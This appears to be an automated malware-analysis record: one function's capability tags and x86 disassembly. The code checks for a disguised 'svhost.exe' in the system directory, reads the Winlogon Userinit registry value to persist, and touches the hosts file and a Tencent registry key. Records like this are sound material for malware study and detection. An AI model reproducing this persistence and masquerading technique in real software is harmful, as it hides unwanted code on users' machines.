Function at 0x40b770
Capabilities:
Check if file exists
Get common file path
Persist via winlogon helper dll registry key
Query or enumerate registry value

Disassembly:
sub esp, 0x418
lea eax, [esp + 8]
push ebx
push esi
mov esi, 0x104
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push esi
push eax
call edi
mov ecx, esi
lea eax, [esp + 0x14]
cmp byte [eax], 0
je 0x40b79d
inc eax
dec ecx
jne 0x40b792
jmp 0x40b7c7
test ecx, ecx
je 0x40b7c7
lea edx, [esp + 0xc]
test edx, edx
je 0x40b7af
mov eax, esi
sub eax, ecx
jmp 0x40b7b3
mov eax, dword [esp + 0xc]
mov ecx, esi
push str._svhost.exe
sub ecx, eax
lea edx, [esp + eax + 0x18]
push ecx
push edx
call fcn.0040b9c0
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x40b7e0
pop edi
pop esi
pop ebx
add esp, 0x418
ret
mov ebx, dword [sym.imp.SHLWAPI.dll_SHGetValueA]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x118]
push ecx
lea eax, [esp + 0x10]
push edx
push eax
push str.Userinit
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push 0x80000002
mov dword [esp + 0x28], esi
call ebx
test eax, eax
je 0x40b81d
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x418
ret
lea ecx, [esp + 0x118]
push str.svhost.exe
push ecx
call dword [sym.imp.MSVCRT.dll__strlwr]
add esp, 4
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
jne 0x40b84b
pop edi
pop esi
pop ebx
add esp, 0x418
ret
mov eax, dword [esp + 0x428]
test eax, eax
je 0x40b9a8
lea edx, [esp + 0x14]
push edx
call fcn.00406260
add esp, 4
call fcn.0040b610
test eax, eax
je 0x40b8cc
lea eax, [esp + 0x21c]
push esi
push eax
call edi
mov ecx, esi
lea eax, [esp + 0x21c]
cmp byte [eax], 0
je 0x40b88f
inc eax
dec ecx
jne 0x40b884
jmp 0x40b8bc
test ecx, ecx
je 0x40b8bc
lea edx, [esp + 0xc]
test edx, edx
je 0x40b8a1
mov eax, esi
sub eax, ecx
jmp 0x40b8a5
mov eax, dword [esp + 0xc]
mov ecx, esi
push str.driversetchosts
sub ecx, eax
lea edx, [esp + eax + 0x220]
push ecx
push edx
call fcn.0040b9c0
lea eax, [esp + 0x21c]
push eax
call fcn.00406260
add esp, 4
push 0
lea ecx, [esp + 0x324]
push 0
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov ecx, esi
lea eax, [esp + 0x320]
cmp byte [eax], 0
je 0x40b8f4
inc eax
dec ecx
jne 0x40b8e9
jmp 0x40b921
test ecx, ecx
je 0x40b921
lea edx, [esp + 0xc]
test edx, edx
je 0x40b906
mov eax, esi
sub eax, ecx
jmp 0x40b90a
mov eax, dword [esp + 0xc]
mov ecx, esi
push 0x41b324
sub ecx, eax
lea edx, [esp + eax + 0x324]
push ecx
push edx
call fcn.0040b9c0
lea eax, [esp + 0x320]
push eax
call fcn.00406260
add esp, 4
lea ecx, [esp + 0x10]
lea edx, [esp + 0x118]
lea eax, [esp + 0xc]
push ecx
push edx
push eax
push str.TypePath
push str.SOFTWARETencentPlatForm_TYPE_LIST1
push 0x80000002
mov dword [esp + 0x28], esi
call ebx
test eax, eax
jne 0x40b9a8
cmp dword [esp + 0xc], 1
jne 0x40b9a8
lea ecx, [esp + 0x118]
push 0x5c
push ecx
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
test eax, eax
je 0x40b9a8
mov edx, 0x41b2e4
sub edx, eax
mov cl, byte [edx + eax]
test cl, cl
je 0x40b990
mov byte [eax], cl
inc eax
dec esi
jne 0x40b981
jmp 0x40b994
test esi, esi
jne 0x40b995
dec eax
lea edx, [esp + 0x118]
mov byte [eax], 0
push edx
call fcn.00406260
add esp, 4
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x418
ret